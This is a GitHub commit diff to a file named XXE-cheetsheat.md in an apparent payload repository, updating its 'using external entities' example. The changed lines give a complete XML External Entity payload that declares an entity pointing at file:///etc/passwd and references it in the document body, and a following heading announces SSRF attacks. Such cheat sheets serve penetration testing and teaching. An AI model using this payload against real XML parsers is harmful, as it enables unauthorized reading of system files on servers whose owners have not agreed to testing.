Skip to content

Commit 2329da0

Browse files
Update XXE-cheetsheat.md
1 parent cf97158 commit 2329da0

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

XXE-payloads/XXE-cheetsheat.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,8 @@
22

33
## using external entities
44
```xml
5-
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
5+
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
6+
<root>&xxe;</root>
67
```
78

89
## perform SSRF attacks

0 commit comments

Comments
 (0)